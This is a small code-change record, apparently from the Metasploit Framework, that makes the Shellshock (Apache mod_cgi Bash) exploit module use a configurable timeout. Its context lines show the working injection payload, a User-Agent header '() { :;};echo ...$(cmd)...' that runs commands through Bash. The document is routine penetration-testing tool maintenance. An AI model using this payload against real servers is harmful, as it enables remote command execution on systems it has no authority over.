Use datastore timeout

Author: jvazquez-r7

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

@@ -83,7 +83,7 @@ def req(cmd)
         'method' => datastore['METHOD'],
         'uri' => normalize_uri(target_uri.path.to_s),
         'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"
-      }, 5)
+      }, datastore['TIMEOUT'])
   end
 
   def marker